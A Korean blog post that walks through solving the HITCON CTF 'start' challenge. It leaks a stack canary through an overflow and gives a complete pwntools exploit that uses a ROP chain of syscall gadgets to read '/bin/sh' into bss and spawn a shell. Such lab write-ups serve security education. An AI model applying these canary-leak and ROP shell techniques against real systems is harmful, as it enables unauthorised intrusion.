문제 풀거 없나 찾아보다가 syscall을 이용한 문제를 오랜만에 풀어보고 싶어서 찾은 문제
HITCON의 start문제...
솔직하게 쉬워보여서 잡았다 ㅋㅋ....
64비트 파일이고 static compile되어 있는 것을 볼 수 있다.
static이 되어있으면 왠만하면 syscall가젯이 있으므로 syscall을 이용해서 쉘을 따내면 될 것 같다.
그리고 보호기법은 SSP/NX가 걸려있다.
파일을 실행을 시켜보면
입력을 받고 입력한 값을 그대로 출력해주고 하는 프로그램이다.
ida 까보자
한눈에 봐도 오버플로우가 일어나는 곳을 볼 수 있다.
카나리는 v7에 있는데 메모리 릭을 이용해서 카나리 값을 얻을 수 있다.
이렇게 하면 카나리 값이 나온다.
이제 익스플로잇만 하면된다.
#!/usr/bin/python
from pwn import *
p = process('./start')
e = ELF('./start')
pop_rdi = 0x004005d5
pop_rsi = 0x00466d97
pop_rdx = 0x00443776
pop_rax_rdx_rbx = 0x0048a77b
syscall = 0x00468e75
bss = 0x00000000006cdb60
# Canary Leak
leak_canary = ''
leak_canary += "A"*24
leak_canary += "B"
p.send(leak_canary)
p.recvuntil("B")
canary = "\x00"+p.recv(7)
print "[*]canary: "+hex(u64(canary))
#Buffer Overflow
payload = ''
payload += "A"*24
payload += canary
payload += "JUNKJUNK"
# read(0,bss,len(/bin/sh))
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rax_rdx_rbx)
payload += p64(0)
payload += p64(len("/bin/sh"))
payload += p64(0)
payload += p64(syscall)
#execve(bss,0,0)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rax_rdx_rbx)
payload += p64(59)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)
p.send(payload)
sleep(0.3)
p.sendline("exit")
sleep(0.3)
p.send("/bin/sh")
sleep(0.3)
p.interactive()
쉘을 땄다~
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
| 2018 Codegate - Super marimo (0) | 2018.02.14 |
|---|---|
| HarekazeCTF 2018 - Harekaze Farm (Pwn) (0) | 2018.02.12 |
| 2016 Codegate -Serial (0) | 2018.02.03 |
| 간단한 Crc CTF 문제 (0) | 2018.01.29 |
| 2016 Codegate -Watermelon (0) | 2018.01.24 |
start